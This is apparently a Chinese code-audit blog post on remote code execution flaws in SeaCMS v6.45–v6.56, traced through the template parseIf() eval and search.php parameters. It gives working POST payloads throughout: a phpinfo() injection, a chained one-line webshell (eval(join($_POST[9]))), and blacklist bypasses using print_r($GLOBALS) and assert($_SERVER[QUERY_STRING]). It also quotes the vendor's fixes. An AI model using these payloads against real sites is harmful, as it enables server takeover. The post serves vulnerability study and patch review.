繼續開始審計代碼,但是由於海洋CMS的版本比較老,都很難找到對應版本的源碼,所以這篇文章只是簡單的講解漏洞,總結SeaCMS的漏洞集合,方便以后查閱
SeaCMS v6.45前台Getshell 代碼執行
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");//執行eval
上面主要邏輯為解析html文件中的{if:}{end if}標簽代碼,可以看到沒有做任何處理就eval,那么我們查找一下對應調用的地方
在search.php 中的echoSearchPage()函數可以觸發漏洞
function echoSearchPage()
{
global $dsql,$cfg_iscache,$mainClassObj,$page,$t1,$cfg_search_time,$searchtype,$searchword,$tid,$year,$letter,$area,$yuyan,$state,$ver,$order,$jq,$money,$cfg_basehost;
$order = !empty($order)?$order:time;
...
...
...
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);
...
...
...
$content=replaceCurrentTypeId($content,-444);
$content=$mainClassObj->parseIf($content);
order 這個變量可以通過變量覆蓋來傳入,沒有任何過濾,之后用order變量替換了模板中的{searchpage:ordername}
$content = str_replace("{searchpage:ordername}",$order,$content);
替換后的模板的html代碼如下:
<a href="{searchpage:order-time-link}" {if:"}{end if}{if:1)phpinfo();if(1}{end if}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
<a href="{searchpage:order-hit-link}" {if:"}{end if}{if:1)phpinfo();if(1}{end if}"=="hit"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderaddtime">最近熱播</a>
<a href="{searchpage:order-score-link}" {if:"}{end if}{if:1)phpinfo();if(1}{end if}"=="score"} class="btn btn-success" {else} class="btn btn-default" {end if} id="ordergold">評分最高</a>
然后經過parseIf函數的解析,將{if:}{end if}的條件判斷語句提取出來,即1)phpinfo();if(1 , 正則語句為$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
eval 函數字符拼接后最終執行的代碼是:
evil("if(1)phpinfo();if(1){\$ifFlag=true;}else{\$ifFlag=false;}");
我們提交我們post的數據:
searchword=d&order=}{end if}{if:1)phpinfo();if(1}{end if}
v6.54 版本代碼注入
之后官方修復了這一漏洞,修復方式是這樣的:
$orderarr=array('id','idasc','time','timeasc','hit','hitasc','commend','commendasc','score','scoreasc');
if(!(in_array($order,$orderarr))){$order='time';}
這個時候官方修復的方法是將order參數設置了一個白名單,這樣就無法通過order 參數注入代碼, 然而,通過之前的分析我們知道,漏洞產生的問題是在於parseIf函數中的參數沒有經過過濾直接拼接后用eval執行,so ,漏洞再次產生,還是在search.php文件中,但攻擊payload不再order參數這里,而在前面的參數中:
$searchword = RemoveXSS(stripslashes($searchword));
$searchword = addslashes(cn_substr($searchword,20));
$searchword = trim($searchword);
$jq = RemoveXSS(stripslashes($jq));
$jq = addslashes(cn_substr($jq,20));
$area = RemoveXSS(stripslashes($area));
$area = addslashes(cn_substr($area,20));
$year = RemoveXSS(stripslashes($year));
$year = addslashes(cn_substr($year,20));
$yuyan = RemoveXSS(stripslashes($yuyan));
$yuyan = addslashes(cn_substr($yuyan,20));
$letter = RemoveXSS(stripslashes($letter));
$letter = addslashes(cn_substr($letter,20));
$state = RemoveXSS(stripslashes($state));
$state = addslashes(cn_substr($state,20));
$ver = RemoveXSS(stripslashes($ver));
$ver = addslashes(cn_substr($ver,20));
$money = RemoveXSS(stripslashes($money));
$money = addslashes(cn_substr($money,20));
這些參數也可以通過變量覆蓋的方式傳入,然后這些參數還用了removeXSS,addslashes函數去過濾,而且截取了前20個字節,即每個參數只能傳入20個字節長度的限制,構造的poc也是特別巧妙,來看下大佬們構造的poc
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
在search.php的echoSearchPage函數中的代碼大概這樣:
function echoSearchPage()
{
...
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);
...
$content = str_replace("{searchpage:type}",$tid,$content);
$content = str_replace("{searchpage:typename}",$tname ,$content);
$content = str_replace("{searchpage:year}",$year,$content);
$content = str_replace("{searchpage:area}",$area,$content);
$content = str_replace("{searchpage:letter}",$letter,$content);
$content = str_replace("{searchpage:lang}",$yuyan,$content);
$content = str_replace("{searchpage:jq}",$jq,$content);
if($state=='w'){$state2="完結";}elseif($state=='l'){$state2="連載中";}else{$state2="全部";}
if($money=='m'){$money2="免費";}elseif($money=='s'){$money2="收費";}else{$money2="全部";}
$content = str_replace("{searchpage:state}",$state2,$content);
$content = str_replace("{searchpage:money}",$money2,$content);
$content = str_replace("{searchpage:ver}",$ver,$content);
...
$content=replaceCurrentTypeId($content,-444);
$content=$mainClassObj->parseIf($content);
這里利用了對searchpage標簽重復替換的方法插入我們的payload
原來模板中的html代碼如下:
<meta name="keywords" content="{seacms:searchword},海洋CMS" />
第一次替換{seacms:searchword} 后的html代碼為:
<meta name="keywords" content="{if{searchpage:year},海洋CMS" />
之后依次替換的內容為:
//替換year
<meta name="keywords" content="{if:e{searchpage:area}},海洋CMS" />
//替換area
<meta name="keywords" content="{if:ev{searchpage:letter}},海洋CMS" />
//替換letter
<meta name="keywords" content="{if:eval{searchpage:lang}},海洋CMS" />
//替換lang
<meta name="keywords" content="{if:eval(join{searchpage:jq}},海洋CMS" />
//替換jq
<meta name="keywords" content="{if:eval(join($_P{searchpage:ver}},海洋CMS" />
//替換ver
<meta name="keywords" content="{if:eval(join($_POST[9]))},海洋CMS" />
這樣就拼好了我們的一句話木馬了, 之后被$labelRule正則解析出來的代碼為:eval(join($_POST[9]))
最終我們eval執行的語句是:
@eval("if(eval(join($_POST[9]))){\$ifFlag=true;}else{\$ifFlag=false;}");
v6.55 代碼執行
在這個版本中,開發人員終於發現了這個問題的本質,於是在這個版本中添加了一個修復方案:
foreach($iar as $v){
$iarok[] = str_ireplace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','_SERVER','assert','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
}
$iar = $iarok;
很明顯的黑名單過濾,只是簡單得過濾了下常用的危險命令, 但因為前面參數還有addshalshes函數和remoteXSS函數的過濾,導致這里不太好利用, freebuf上面已經有大佬公布了利用方式,利用$_SERVER變量任意代碼執行,具體細節看參考鏈接,這里我只是執行一個簡單的輸出命令來證實一下代碼執行漏洞,
poc如下:
searchtype=5&searchword={if{searchpage:year}&year=:p{searchpage:area}}&area=r{searchpage:letter}&letter=int{searchpage:lang}&yuyan=_r({searchpage:jq}&jq={searchpage:ver}&&ver=$GLOBALS)
最后代碼執行的是print_r($GLOBALS)函數,成功打印出了$GLOBALS參數的值.
也可以傳入
searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&ver=[QUERY_STRING]));/*
此處傳入了assert($_SERVER[QUERY_STRING])來獲取GET請求的字符串,來命令執行
v6.56 修復
該版本除了黑名單還在search.php中添加了如下一句話:
//感謝freebuf文章作者天擇實習生(椒圖科技天擇實驗室)的漏洞報告
if(strpos($searchword,'{searchpage:')) exit;
這樣,就讓searchpage標簽的替換都失效了,個人認為這種修復方法也不是很好,但目前沒有找到可利用的其他標簽, 該版本目前暫時解決了代碼執行漏洞的問題
還有v9.92獲取前台shell,SQL注入等漏洞,先挖坑。。
參考
https://github.com/jiangsir404/PHP-code-audit
https://www.seebug.org/vuldb/ssvid-92744
